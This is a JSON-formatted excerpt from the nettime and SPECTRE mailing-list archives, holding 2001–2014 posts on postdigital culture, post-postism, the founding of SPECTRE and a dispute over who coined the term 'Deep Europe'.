                        "content": "Patrick,\n\nThank you for saying so elegantly what I have been thinking for the\npast 30 years or more. I always felt that the promise of fundamental\nchange was illusory in the 60s and 70s. Things started really moving\nin the 80s. OK it was neoliberalism, but for the first time I knew\nthat history was on the move. Of course it's impossible to understand\nour contemporary dilemmas without going further back than that. Yet\nthe literati produced as their blinding insight into that transitional\ndecade the hangover of postmodernism, deconstruction, the commonplace\nthat the contrasts of the Cold War were leaking into each other (what\nHegel called negative dialectic). Postism is decadent or at best\nretro. What is postcolonial theory if not nationalism with its eyes\nglued to the rearview mirror?\n\nKeith\n\n\n\nOn Mon, Mar 10, 2014 at 6:45 PM, temp <pl {AT} voyd.com> wrote:\n\n>\n> >I think I'll just say that I have become post-postist.\n>\n> I hear about post-digital/New Media/Internet/Human/etc that I believe\n> that this only succeeds at placing us in a corner of opposition or\n> refusal and makes no suggestions. For all my distrust of it, at least\n> New Aestheticism posited something. Surfing clubs did. Post-ing does\n> not.\n>\n> Post-ism paints us in the corner of refusal without proposition and\n> little else. It breaks the discourse into a molecular one without\n> any potential coherence; it is Babel-ism at its height, and paints\n> the writer into a corner. I think it is some to begin framing new\n> discourses not as \"new\" propositions, but as new propositions, like\n> perhaps the age of convergence or integrationist, or mixed-reality\n> art or even going back to intermedia. I am still a pluralist; not\n> into master narratives, but I want propositions for the present, not\n> mere refusnikism. I want something that says something, not just that\n> \"We're over that\", because I'm over being over things.\n>\n> Patrick.\n\n-- \nProf. Keith Hart\nwww.thememorybank.co.uk\n135 rue du Faubourg Poissonniere\n75009 Paris, France\nCell: +33684797365\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00033",
                        "date": "Mon, 10 Mar 2014 18:57:58 +0100",
                        "to": "a moderated mailing list for net criticism <nettime-l {AT} mail.kein.org>",
                        "message-id": "CAF32U9HdZEysEZZMvykgKkosF6geF9bELs=r4DY64jvqjDn6Tg {AT} mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00033.html",
                        "content-type": "text/plai",
                        "author_name": "Keith Hart",
                        "subject": "Re: <nettime> Post-Postism,"
                    },
                    {
                        "from": "Keith Sanborn <mrzero {AT} panix.com>",
                        "content": "\nIt's sometimes difficult to distinguish between a Luddite geezer (in\nthe Ame rican sense) and a person of age and wisdom with an historical\nperspective.\n\n<...>\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00036",
                        "date": "Mon, 10 Mar 2014 13:34:58 -0400",
                        "to": "\"<nettime-l {AT} mail.kein.org>\" <nettime-l {AT} mail.kein.org>",
                        "message-id": "77A034B6&#45;1B21&#45;49D3&#45;AC26&#45;FF29D4A42F17 {AT} panix.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00036.html",
                        "content-type": "text/plai",
                        "author_name": "Keith Sanborn",
                        "subject": "Re: <nettime> Post-Postism,"
                    }
                ],
                "message-id": "531C5330.7030401 {AT} openflows.com",
                "date": "Sun, 09 Mar 2014 12:40:32 +0100",
                "content-type": "text/plai"
            },
            {
                "content-type": "n/a",
                "from": "abroeck@transmediale.de",
                "id": "436",
                "content": "LEA Volume 9, Number 10\n<http://mitpress.mit.edu/e-journals/LEA/>\n\nEditorial\n\n< Human Consciousness and the Postdigital Analogue >\nby Michael Punt, E-mail: <Mpunt@easynet.co.uk>\n\nAs Steven Wilson points out in his review of the\nbook Ars Electronica,\n=46acing the Future, this book is \"a marvelous\nresource that will be much\nappreciated by artists, critics, historians, and\nanyone interested in the\nconvergence of art and technology.\" (See LDR\nVol. 9, No. 8, August 2001)\nAmong other things, the book provides a\nhistorical record that catalogues\nthe changing perceptions of the emergence of\ndigital technology as a\npopular medium. Seventeen years ago, for\nexample, Gene Youngblood reminded\nus that the computer translates the continuous\nphenomena of the world into\ndiscrete units. At the same time, Peter Weibel\npointed out that whereas the\nanalogical follows principles of similarity,\ncongruency and continuity, the\ndigital uses the smallest discontinuous, non-\nhomogeneous elements. Five\nyears later Roy Ascott, with characteristic\nvisionary insight, appealed for\na restoration of the metaphor to the agenda in\norder that the undivided\nwhole could once again be regained. It was a\ncall that Nick Herbert\nresponded to a year later in a lucid and\naccessible account of quantum\nphysics, concluding with some irony that\nholistic physics really would\nerase the distinction between subject and object\nand there would be a real\ndanger of getting lost in space. Facing the\n=46uture's history lesson ends in\n1998 with Friedrich Kittler's confirmation that\nin the realms of electronic\nwarfare we resisted this danger since copying\na \"hostile CPU is easier,\ncheaper, and therefore more likely to\nproliferate than copying a hostile\nphase radar.\" This is not merely the carry-\nthrough of old technology into\nthe new (as, for example, film and video), but a\nreturn to the ideal of the\nanalogue. According to Kittler's analysis of\nwarfare, in less than a decade\ndigital media recovered the relevance of the\nprinciples of similarity,\ncongruency and continuity. This apparent\npersistence of the analogue\ninvites us to consider that the morphological\nresemblance between pre- and\npost-digital modes of expression (or industrial\nand enlightenment, for that\nmatter) could be significant symptoms of the\nhesitance of users to abandon\n\"felt\" experience in favor of the =E9clat of\n>seductive technologies of\ndescription.\n\nAt the distance that Ars Electronica: Facing the\n=46uture allows us, it\nbecomes apparent that empowered users\nnegotiating with digital media have\nfound themselves engaged in this recurring\ncycle, in which the idealization\nof representation is in conflict with the\ndominant technology, which\ndisavows daily experience as an undifferentiated\ncirculation of metaphors\nfor desire and resistance. As much was at stake\nin the pre-cinematic age,\nwhen Jules Etienne Marey, for example, inquiring\ninto the nature of\nmovement, regarded the new techniques of\nchronophotography as inferior to\ngraphic methods using smoked drums and scribes\nattached to pneumatic\nsensors. Photo-technology used shutters that\ninsisted upon the moment as a\nfinite duration and consequently ruptured the\nflow of movement as\nexperienced in a flux of time. The pseudo-\nguarantees of objectivity that\nthis scientifically acceptable idealization\ncould offer, however,\noutweighed the deficits, and the representation\nof movement as an\nincremental sequence in a small finite and\ndiscontinuous moment became an\nacceptable norm to the extent that the subject\nwas indeed collapsed into\nthe object and temporarily \"lost in space.\"\nHowever, whereas\nchronophotography chained vision to the\nmateriality of the body, in the\npost-chronophotographic analogue the principles\nof similarity, congruency\nand continuity found new life in the cinema of\nnarrative integration (the\nmovies) which rescued the subject in a seamless\nreality of the infinitely\nmalleable virtual bodies, for whom the eye was\ntranscendent.\n\nThe intellectual project of Ars Electronica,\n=46acing the Future leaves\nlittle doubt that the digital revolution was,\n from its technological and\nconceptual inception, always destined to be the\npostdigital in which\nsimilarity, congruence and continuity found new\napplications. At stake in\nthe postdigital analogue however, is more than\nthe recovery of the subject:\nit is nothing less than the question of whose\nvision of paradise prevails.\nThe postdigital analogue points to a version of\nparadise that is not a\nfinite discontinuous place or a non-homogeneous\nmoment of time, not Eden in\na nostalgic future, but a thick membrane in\nwhich local conditions, desire\nand resistance are constantly stabilized to form\na whole identity. Where\nthe digital proposes the perfect finite\nconditions for a perfect existence\nregardless of matter (as for example in the\nhuman genome project), in the\npostdigital analogue (as for example in the\nironies of genetic and wet\nbiological art) human consciousness is regarded\nas almost infinitely\nmalleable, able to shape its identity in\nresponse to local and\ntechnological conditions and aware all the time\nof the range of\npossibilities not yet developed, both digital\nand analogue.\n\n\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-November/000436.html",
                "message-id": "436",
                "date": "Mon, 5 Nov 2001 13:11:09 +0200",
                "list": "spectre",
                "author_name": "Andreas Broeckmann",
                "subject": "[spectre] M. Punt: Postdigital Analogue"
            }
        ],
        "desc": "..."
    },
    "Deep Europe": {
        "lists": [
            {
                "content-type": "n/a",
                "from": "abroeck@transmediale.de",
                "id": "51",
                "content": "[folks: if you are interested in subscribing to this list, please, follow\nthe instructions below; as we are expecting quite a lot of initial\nrequests, please, give us some time to process everything; greetings,\nandreas & inke]\n\n\nSPECTRE is an open, unmoderated mailing list for media art and culture in\nDeep Europe.\n\nInitiated in August 2001, SPECTRE offers a channel for practical\ninformation exchange concerning events, projects and initiatives organized\nwithin the field of media culture, and hosts discussions and critical\ncommentary about the development of art, culture and politics in and beyond\nEurope. Deep Europe is not a particular territory, but is based on an\nattitude and experience of layered identities and histories - ubiquitous in\nEurope, yet in no way restricted by its topographical borders.\n\nSPECTRE is a channel for people involved in old and new media in art and\nculture. Importantly, many people on this list know each other personally.\nSPECTRE aims to facilitate real-life meetings and favours real face-to-face\n(screen-to-screen) cooperation, test-bed experiences and environments to\nprovoke querying of issues of cultural identity/identification and\ndifference (translatable as well as untranslatable or irreducible).\n\n\nWHAT IS (A) SPECTRE?\n1. \"There's a spectre haunting Europe ...\" (K. Marx/F. Engels)\n2. S.P.E.C.T.R.E.: Special Executive for Counterintelligence, Terrorism,\nRevenge and Extortion (James Bond 007 movies)\n3. spektr was a module of the MIR space station focussing on the research of\nmicro gravity\n4. Les Spectres de Marx (J. Derrida)\n5. Craig Baldwin's latest movie: Spectres of the Spectrum (2000)\n6. to be continued...\n\n\nNETIQUETTE ON SPECTRE:\n- no HTML, no attachments, messages < 40K\n- meaningful discussions require mutual respect\n- self-advertise with care!\n\n\nSUBSCRIPTION POLICY:\nSPECTRE is initially hosted by Inke Arns <inke@snafu.de> and Andreas\nBroeckmann <abroeck@transmediale.de>. Requests for subscription have to be\napproved by hosts. Subscriptions may be terminated or suspended in the case of\npersistent violation of netiquette. Should this happen, the list will be\ninformed. The list archives are publicly available, so SPECTRE can also be\nconsulted and followed by people who are not subscribed.\n\n*Subscribe\nhttp://post.openoffice.de/cgi-bin/mailman/listinfo/spectre\n\nor mail to: spectre-request@mikrolisten.de\nsubject=subscribe\n\n*Unsubscribe\nmail to: spectre-request@mikrolisten.de\nsubject=unsubscribe\n\n\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000051.html",
                "message-id": "51",
                "date": "Fri, 7 Sep 2001 17:47:48 +0200",
                "list": "spectre",
                "author_name": "Andreas Broeckmann",
                "subject": "[spectre] new mailing list: SPECTRE :info"
            },
            {
                "content-type": "n/a",
                "from": "abroeck@transmediale.de",
                "id": "67",
                "content": "dear anna,\n\nthanks for your message.\n\nZitiere anna balint <epistolaris@freemail.hu>:\n\n> dear Andreas and Inke,\n> \n> I was offline a for a couple of days I see now that your initiatives\n> are. I\n> regret tremendously that you decided not to collaborate anymore with\n> the\n> syndicate list, and you preferred to start a new list, but anyway I wish\n> you\n> many success.\n> Meanwhile I saw that you based your new mailing list on the notion of\n> deep\n> europe, a term which I invented in 1996. I insist that you mention in\n> your\n> announcing letter this fact: 'deep europe, a notion coined by anna\n> balint\n> 1996'. I will have to publish in all media forums my article from\n> 1996,\n> everywhere where you announced the new list - which given the\n> circumstances\n> will deepen the crisis and will even mor differentiate the opinions. But\n> I\n> can't agree that you appropriate my term and you base a discussion forum\n> on\n> it without giving a proper credit for it. Andreas, you heard the term\n> deep\n> europe from Geert Lovink, with whom I was discussing my idea in 1996,\n> please\n> clarify this.\n> greetings,\n> Anna\n> \n\nthe term came up in discussion with geert in 1996/97 when we were preparing the \nsyndicate workshop for documenta x in 1997; it is quite possible that geert \nbrought it up, and i am happy to assume that the term came from anna originally. \nit is a bit odd that you never felt the need to point this out in the last 5 \nyears when this term has been used also in other publications (like my text in \nthe ostranenie 97 catalogue), but i see no reason why you should not be credited \nfor 'inventing' it. it's a useful and strong metaphor! (is your own \ninterpretation closer to the one that equates Deep Europe with eastern europe, or \ndo you follow the interpretation formulated by luchezar, referring to the depth \nof layered identities which can be found any where in the continent, and beyond?) \ni look forward to reading your text from 1996.\n\nbest regards,\n-a\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000067.html",
                "message-id": "67",
                "date": "Sun, 09 Sep 2001 19:43:53 +0200 (CEST)",
                "list": "spectre",
                "author_name": "Andreas Broeckmann",
                "subject": "[spectre] RE: new mailing list: SPECTRE :info"
            },
            {
                "content-type": "n/a",
                "from": "abroeck@transmediale.de",
                "id": "68",
                "content": "dear anna,\n\nZitiere anna balint <epistolaris@freemail.hu>:\n\n> Dear Andreas,\n> I can admit that it was the mistake of Geert Lovink that he has omitted\n> to\n> mention where the term comes from. When you made a statement that the\n> words\n> deep europe was coined by Luchezar Boyadiev I immediatley notified\n> you, please chack your private mail. \n\ni don't archive my mail, so i will have to take your word for it.\n\n> The Hyprid Workspace workshop was prepared\n> not earlier than 1997, when the idea and possibility of the Hybrid\n> Workspace first appeared.\n\ngeert and i first talked about the hws workshop that winter, i don't recall the \nexact dates. i have no reason to dispute that the term deep europe came from you.\n\n> I find terrible that after you left the syndicate list, you base a new\n> mailing list exactly on my concept. Why not find a concept of your own\n> for this purpose?  \n\nwhy? it is a very appropriate concept which we are very happy to use? i find it \nvery odd that you would claim an exclusive right to sth that has been in \ndiscussion left, right and center for 4 years now ... you should look at this \nappropriation with pride, if you have to.\n\n>You could read first my deep europe text on the syndicate\n> list, if you would be subscribed.\n\nmaybe you can send it to me anyway?\n\ngreetings,\n-a\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000068.html",
                "message-id": "68",
                "date": "Sun, 09 Sep 2001 21:52:53 +0200 (CEST)",
                "list": "spectre",
                "author_name": "Andreas Broeckmann",
                "subject": "[spectre] RE: new mailing list: SPECTRE :info"
            },
            {
                "content-type": "n/a",
                "from": "abroeck@transmediale.de",
                "id": "72",
                "content": "dear anna,\n\n>how could I be proud of my work if you don't give a credit for it?\n\nyou are being given credit for it now. you should be proud of it anyway -\nthere are many things that many people do and never get credited for. it's\ncalled history.\n\n>And you say that Luchezar Boyadiev has coined the term deep europe?\n\nno, if you reread my mail you will see that i wrote that he offered an\n*interpretation*. i look forward to your own definition.\n\n>I am sorry if\n>Geert Lovink hided my text from you for five years, I would have never\n>guessed that he proceeds this way.\n\ni don't see why it should be geert's resposibility to post your text, and\nwhy you have not felt the necessity to do this yourself?\n\n>I have immediately notified your when you\n>first pointed publically for the term a wrong origin. I will publish the\n>text first on the syndicate list, where it should belong. You can use the\n>term of course, as a stated before, I just ask that you mention that I\n>coined it.\n\nthe term deep europe was coined by anna balint. it was passed on by geert\nlovink. it was used by andreas broeckmann and inke arns. it was interpreted\nby luchezar boyadjiev. it was used more by sally jane norman, iliyana\nnedkova, nina czegledy, edi muka, and many others. it is a piece of\nlanguage and cannot be controlled. it was coined by anna balint in 1996.\n\nregards,\n-a\n\n\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000072.html",
                "follow-up": [
                    {
                        "author_name": "Pasztor Erika Katalina",
                        "from": "perika@epiteszforum.hu",
                        "id": "73",
                        "content": "Dear Anna, dear Andreas, and dear all, who are involved,\nI was lurking on the syndicate list for years, I never dared to send a letter.\nWell, I never had any special reason to do so. But now I have to write a\ncomment on \"Deep Europe\" and its copyright problem of Anna.\n\n\"Deep Europe\" is only a flat slogen in my opinion .\n(Except Anna I guess not so many of you follow the developments of the\npolitical situation in Hungary, which is a kind of illuminating story of how\nmodern political marketing-communication (and media!) can sell about 5 million\nHungarians down the river.... with fine tuned slogans.)\n\nThere is a lot at stake at the election 2002: if the Rights (the Guys) win,\nthan Hungary will be conserved into a society what is an interesting mixture of\nnetwork capitalism and new-feudalism spilled professional political Public\nRelation sauce on it. The national identity (\"the national copyrigths\") begins\nto awake again but now it is assited by the active service of marketing and\nmanagement sciences. Philip Kotler's excellent and energetic students' rhetoric\nfeeds losers of the society with slogans and kitschy shows: national identity\nbecomes more important for the \"folks\" than the parliament controll of the\nbutget what The Guys spend on it. \"Hungary - what you hide in your heart\",\n\"Memory becomes Hope\": politics are full of pink emotions nowadays around here.\n(The sweet-gloomy-funny thing is that all the slogens of the government are\n\"invented\" by the \"Happy End PR Agency\" :-)\n\n\"Deep Europe\" - is nothing more than a slogan, invented by Anna or Gert, who\ncares. Slogans kill meaning, slogans are the effective power of our media and\nPublic Relation culture. Slogans has a function to be obscure to understand as\nmany ways as many people gets it.\n\n\"Deep Europe\" means nothing without context - and the context is created by\nphysical and intelectual activity of people in time: the context is a process\nin space and time. Although The Guys introduced successful PR slogans into\npolitics, only the context shows the real meaning.\n\n\"the past just has been started\" in Hungary (I do not know who said it,\nsorry... probably I read it in the Narancs - a liberal weekly) - why should we\nstart it Anna, too? I hope we can kill off slogans and their\ncopyright-arguments in case of starting to think in - as distinct and exact\nterms as it possible. Anybody who cares, should see further and deeper than\n\"who owns the copyrights of Deep Europe\".\n\nSorry for my poor English mistakes what may confuses the transmission of the\ncore message-:)\nYours truly,\n\nErika Katalina Pasztor\nmedia artist&designer, DLA student of Intermedia Dep., MKE\nfounder and editor of Hungarian ArchitectForum (Epiteszforum) Online\n\n\n",
                        "date": "Mon, 10 Sep 2001 11:48:20 +0200",
                        "message-id": "73",
                        "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000073.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "from": "epistolaris@freemail.hu",
                                "id": "74",
                                "content": "Dear Erika,\nmaybe not many people care about slogans, but I do: if once for a term is\ngiven a history, I feel better if that history is correct. In my view it\nmust have been important, if once it gave inspiration for so many people.\nFor me the most funny and ironic is that all this discussion is going on out\nof its syndicate contexts. I was always happy to give and I am glad if\npeople use the term I invented, and naturally I don't copyright the term, I\nsay that I coined it. If you are curious to my context and my\ninterpretation, please subscribe to the syndicate list. Now there is a\ndiscussion about ascii art definitions, when I feel it will be appropriate I\nwill publish my text.\ngreetings,\nAnna Balint\n\n\n",
                                "date": "Mon, 10 Sep 2001 12:59:43 +0200",
                                "message-id": "74",
                                "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000074.html",
                                "content-type": "n/a",
                                "author_name": "anna balint",
                                "subject": "[spectre] RE: \"Deep Europe\" is really deep?"
                            }
                        ],
                        "subject": "[spectre] \"Deep Europe\" is really deep?"
                    },
                    {
                        "author_name": "ana peraica",
                        "from": "ana.peraica@st.tel.hr",
                        "id": "76",
                        "content": "Dear all,\n\nI had problems deleting boring Syndicate mailings last months and then\nilliterate (Syndicate) mailings / attachments. I have a pain in my finger\nthat I use for the Delete type.\n\nJust few minutes ago I recieved an e-mail, one of the most beautiful e-mails\nfrom the old Syndicate list - asking is someone is still there. It looks\nlike a child entering to the village abandoned. The list still exists, but\nemptied, evacuated. The person knows not that there was a war. As seems,\nright now, there is an abandoned territory, one refugee camp and one new\nself-proclaimed republic. I saw that scenario, and I know those arguings\nright now... of who was the first calling on the  of independency in 1968,\nof who spoken, who wrote.\n\nSides are chosen. And now we don't have a Red Cross that will locate people\nwe need to. I still don't know who is where as there are only few names\nposting. How can I find people whose e-mails I like? The war happened.\n\nAnd now the discussion is on inheritage. We are dividing names, history,\nterms...\n\nAbout terms, I am not fascinated anyhow. It is like the Humpty Dumpty from\nthe Alice in Wonderland who coincides terms, and with the exclamation of the\nWhite Knife 'I invented it'. So what????\n\n(BRACKET NOTE - But it makes me to think, do I need to protect my terms as\n'Soros realism' in arts? Where do I need to go for that? Ok, I tell you - I\ninvented a term Soros-realism I find crucial in interpretation of the\nartworks of nineties and last few years of this century, and it referrs to\nthe arts of politically founded melancholia and pittiness, that has a\nconnection to the socrealism of engaged art. It provides a reading of one\nnarrative continously and gives a differentia specifica to the art of\nactivism on the West. I find it ingenious, I am so delighted that every day\nI wake up and thing - how clever I am when I manage to invent such a thing.\nI feel so good, I love myself more since I done it. And I find myself more\nbeautiful, thinking - one day if this continues I will get the Miss Europe\nprize. I am so clever and so beautiful since then. I am a witch. I knew it\nis going to happen. I wrote a text Unsubscribe! and I should have done it\nthen. Why I didn't follow my intuition? Doesn't matter, I am so clever and\nso beautiful. I am a princess of the cleverness and beauty and witchcraft.\nWhen I recieve too many stupid e-mails I just go to the bathroom to see\nsomething nice, and I exclamate 'Soros Realism!!! Yes, Yes!'. So, please, if\nsomeone hears anyone else telling it without my name in reference, please -\nslam him in the face for my own dignity. You are my friends anyhow... And I\nwill protect words you told, and wrote, to me. Please just put them bold, so\nI know which one you want to keep for your own creme against time, for your\nown grave. On my it is going to be written: A. P. (1972 - ...) THE INVENTOR\nof the term Soros-realism. It would be ME, ME, ME. It is I; I, I, I who\ninvented it. It belongs to me and I carry it to my grave! Everyone who\ninvented a term should write right now! On the graveyard we'll have terms\nand ideas. Terms should keep us to tell we are immortal no matter we are\nunder the face of the earth.)\n\nBut, if you find this stupid (mast.., fu...) that I have a certain erotic\neffects to my own terms - please ignore, I was joking. Soros realism was\ninvented by artists, and Soros, and Stalin, and Lenin. But that topic is\nerotic too (mmmm.... nice!), nothing is erotic as those names...\n\n'Deep Europe' is invented by those who were digging, in a certain sense.\nDiging what? Diging who? Diging under who?\nOtherwise people call it East, living on the surface. But who invented\nEast - West - South - North?\n\nHow can one write providing references...  Weather (ref. anonym. since\nAristotle On metereology) in Croatia (inv. Zvonimir, ref. Pavelic, ref.\nTudjman) is sublime (inv Aristotle, ref/bold. Kant, ref Bataille...) today\n(ref. fuck who invented today?), rain (ref God?, ref Aristotle ibid) falls\n(ref. Archimed, ref Newton...), writing (ref Arabians) to you (ref. Syndicat\ne) an e-mail (ref. ref. ref. ref.....).\nDeep Europe? Deep troubles! Andreas vs \"Anna\", Syndicate vs (Syndicate) vs\n((((Syndicate, ref (((Syndicate), ref ((Syndicate) ref (Syndicate))).\n\nWho invented \"Syndicate\" (Marx?), who invented NN, Andreas, Anna? When do\nyou need to start with the intellectual property? It is destroying text, it\nis destroying communication, it is self-referrent at the end. And in the\nreference I can only write terms as - copyright, brand. It is boring as NN\nwas boring. Boooooring, the worst that can be.\n\nWho has a copyright, which brand is this piece of activism? Now what is the\noriginal Syndicate - copyright, brand?????  Seems this is the original\ndiscussion, covered by the terms. Tell it loudly! There are three lists, one\nis empty, one is Intenger's, one is elite. One interpetation what is/was\nSyndicate is its original address, the second - name, the third - people.\nOr, this is a discussion on factory, brand and quality?\n\nbest,\nAna\n\n\n\n\n",
                        "date": "Mon, 10 Sep 2001 13:31:00 +0200",
                        "message-id": "76",
                        "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000076.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "author_name": "anna balint",
                                "from": "epistolaris@freemail.hu",
                                "id": "78",
                                "content": "Dear Ana,\n\nas a researcher the main and very important questions I am fascinated about\nare who, when, what did, organized, wrote, said, how idea circulates. I\nconfess repentingly that I spend weeks thinking about who for example\nDionysos Aeropagitos was, what and when did he write. Or for instance I\nspend months to compile a Robert Filliou bibliography and I am happy to find\nunder any cicumstances a fragment of his. If once he influences the whole\nmedia art scene, I am curious to find any detail of his work, and I try to\ngo back to the most authentic sources.\nThis fascination made me also to subscribe to the Syndicate list. I find\nmore than fascinating how the individual, the private interacts with public,\nhow one individual influences the other, how authors can grab contemporary\nspirituality, how collaboration takes place. If many terms are invented, I\nwish to know who, and when invented them, myself I never use for example the\nword 'intermedia' without thinking to Dick Higgins. He has coined it, and\nwith this word and his way of thinking still influences the whole art scene.\nI like to be aware of that, and I like to handle with care and in a\nresponsible way terms. That's part of my ars poetica if you like.\nI am honoured if I can be in touch with authors and I can follow their works\nas they arrive unmoderated to a mailing list. I find interesting the way 60\npeople left the syndicate list, and feel more comfortable with less\ninformation to deal with on a new, restricted mailing list, though I see\nhere many problems - that of the syndicate archive for example - which still\nwaits to be discussed and solved.\nSyndicate list is not integer's list, it stays for those people interested\nin East-West media art contacts and in contemporary media art theory who\ndon't find too difficult to not open, delete, archive, read or enjoy the\nmail coming from artists, organizers, curators from East and West Europe and\nwho care about the public space of the list. There are subscribers, readers\nand contributors, Claudia Westerman and Jaka Zeleznicar build a web page for\nthe list, and we are all considering ways for organizing the incoming mail\nthrough self moderation, bureau automatism, perhaps a digest for\nannouncements and theoretical texts.\ngreetings,\nAnna\n\n-----Original Message-----\nFrom: ana peraica [mailto:ana.peraica@st.tel.hr]\nSent: 2001. szeptember 10. 13:31\nTo: epistolaris@freemail.hu; Andreas Broeckmann\nCc: spectre@mikrolisten.de; inke@snafu.de; media@ezaic.de\nSubject: Deep Europe? Deep troubles! with the \"authors\"\n\n\nDear all,\n\nI had problems deleting boring Syndicate mailings last months and then\nilliterate (Syndicate) mailings / attachments. I have a pain in my finger\nthat I use for the Delete type.\n\nJust few minutes ago I recieved an e-mail, one of the most beautiful e-mails\nfrom the old Syndicate list - asking is someone is still there. It looks\nlike a child entering to the village abandoned. The list still exists, but\nemptied, evacuated. The person knows not that there was a war. As seems,\nright now, there is an abandoned territory, one refugee camp and one new\nself-proclaimed republic. I saw that scenario, and I know those arguings\nright now... of who was the first calling on the  of independency in 1968,\nof who spoken, who wrote.\n\nSides are chosen. And now we don't have a Red Cross that will locate people\nwe need to. I still don't know who is where as there are only few names\nposting. How can I find people whose e-mails I like? The war happened.\n\nAnd now the discussion is on inheritage. We are dividing names, history,\nterms...\n\nAbout terms, I am not fascinated anyhow. It is like the Humpty Dumpty from\nthe Alice in Wonderland who coincides terms, and with the exclamation of the\nWhite Knife 'I invented it'. So what????\n\n(BRACKET NOTE - But it makes me to think, do I need to protect my terms as\n'Soros realism' in arts? Where do I need to go for that? Ok, I tell you - I\ninvented a term Soros-realism I find crucial in interpretation of the\nartworks of nineties and last few years of this century, and it referrs to\nthe arts of politically founded melancholia and pittiness, that has a\nconnection to the socrealism of engaged art. It provides a reading of one\nnarrative continously and gives a differentia specifica to the art of\nactivism on the West. I find it ingenious, I am so delighted that every day\nI wake up and thing - how clever I am when I manage to invent such a thing.\nI feel so good, I love myself more since I done it. And I find myself more\nbeautiful, thinking - one day if this continues I will get the Miss Europe\nprize. I am so clever and so beautiful since then. I am a witch. I knew it\nis going to happen. I wrote a text Unsubscribe! and I should have done it\nthen. Why I didn't follow my intuition? Doesn't matter, I am so clever and\nso beautiful. I am a princess of the cleverness and beauty and witchcraft.\nWhen I recieve too many stupid e-mails I just go to the bathroom to see\nsomething nice, and I exclamate 'Soros Realism!!! Yes, Yes!'. So, please, if\nsomeone hears anyone else telling it without my name in reference, please -\nslam him in the face for my own dignity. You are my friends anyhow... And I\nwill protect words you told, and wrote, to me. Please just put them bold, so\nI know which one you want to keep for your own creme against time, for your\nown grave. On my it is going to be written: A. P. (1972 - ...) THE INVENTOR\nof the term Soros-realism. It would be ME, ME, ME. It is I; I, I, I who\ninvented it. It belongs to me and I carry it to my grave! Everyone who\ninvented a term should write right now! On the graveyard we'll have terms\nand ideas. Terms should keep us to tell we are immortal no matter we are\nunder the face of the earth.)\n\nBut, if you find this stupid (mast.., fu...) that I have a certain erotic\neffects to my own terms - please ignore, I was joking. Soros realism was\ninvented by artists, and Soros, and Stalin, and Lenin. But that topic is\nerotic too (mmmm.... nice!), nothing is erotic as those names...\n\n'Deep Europe' is invented by those who were digging, in a certain sense.\nDiging what? Diging who? Diging under who?\nOtherwise people call it East, living on the surface. But who invented\nEast - West - South - North?\n\nHow can one write providing references...  Weather (ref. anonym. since\nAristotle On metereology) in Croatia (inv. Zvonimir, ref. Pavelic, ref.\nTudjman) is sublime (inv Aristotle, ref/bold. Kant, ref Bataille...) today\n(ref. fuck who invented today?), rain (ref God?, ref Aristotle ibid) falls\n(ref. Archimed, ref Newton...), writing (ref Arabians) to you (ref. Syndicat\ne) an e-mail (ref. ref. ref. ref.....).\nDeep Europe? Deep troubles! Andreas vs \"Anna\", Syndicate vs (Syndicate) vs\n((((Syndicate, ref (((Syndicate), ref ((Syndicate) ref (Syndicate))).\n\nWho invented \"Syndicate\" (Marx?), who invented NN, Andreas, Anna? When do\nyou need to start with the intellectual property? It is destroying text, it\nis destroying communication, it is self-referrent at the end. And in the\nreference I can only write terms as - copyright, brand. It is boring as NN\nwas boring. Boooooring, the worst that can be.\n\nWho has a copyright, which brand is this piece of activism? Now what is the\noriginal Syndicate - copyright, brand?????  Seems this is the original\ndiscussion, covered by the terms. Tell it loudly! There are three lists, one\nis empty, one is Intenger's, one is elite. One interpetation what is/was\nSyndicate is its original address, the second - name, the third - people.\nOr, this is a discussion on factory, brand and quality?\n\nbest,\nAna\n\n\n\n\n\n",
                                "date": "Mon, 10 Sep 2001 15:13:00 +0200",
                                "message-id": "78",
                                "url": "http://post.in-mind.de/pipermail/spectre/2001-September/000078.html",
                                "content-type": "n/a",
                                "follow-up": [
                                    {
                                        "from": "ana.peraica@st.tel.hr",
                                        "id": "83",
                                        "content": "Dear \"Anna\",\n\nThe problem of the circulation of ideas, and tracing of them is today quite\nhard. Circle is replaced by the more dimensional bowls, explosions, curves.\nTracing (of authors, of e-mails, of people...) is also hard. Linearity is\nimpossible. For that one should have at least continous space or time.\n\nOnce I done an exhibition project completely based on gossiping, it was on\nthe Oreste show in Venice, on Biennale (I hope you will not take this as a\nself-promotion I don't intend to do among people that know my work and\nideas). It was the same obscure idea that lead me, that things are running\nout of the documentation, catalogues, newspaper's reports or critiques. That\ninformation is spoiling.\nThen, as the problem of redundancy happened to me (and somehow I expected\nand calculated on that phenomenon), as every name would invite in mind\nanother one, at least those of love affairs related, and each topic and\nreference\nanother one, and we know it from the hypertexts that it is - real, I decided\nnot to border anymore.\n\nI am, myself, more considered with the streaming ideas than on linking them\nendlessly in any case even in .html (and that is why I never use footnotes,\nso what? - McLuhan never give his due respect to anyone before, hardly\nmentioning any other name, and that does not make him less fair writer).\nOnly bad writers need to plug in the theory into someone elses, as the\ntheory they plugged in will save them from the critique. Only desperate\nsouls need to say - you didn't make a reference on me.\n\nReading according to names reminds me on the old time investigations... 'I\nread complete Hegel' - do you think Hegel is the one that is interesting or\nthe world of his ideas. I know, it is a matter of the original thinking and\nhypercitation, when the author 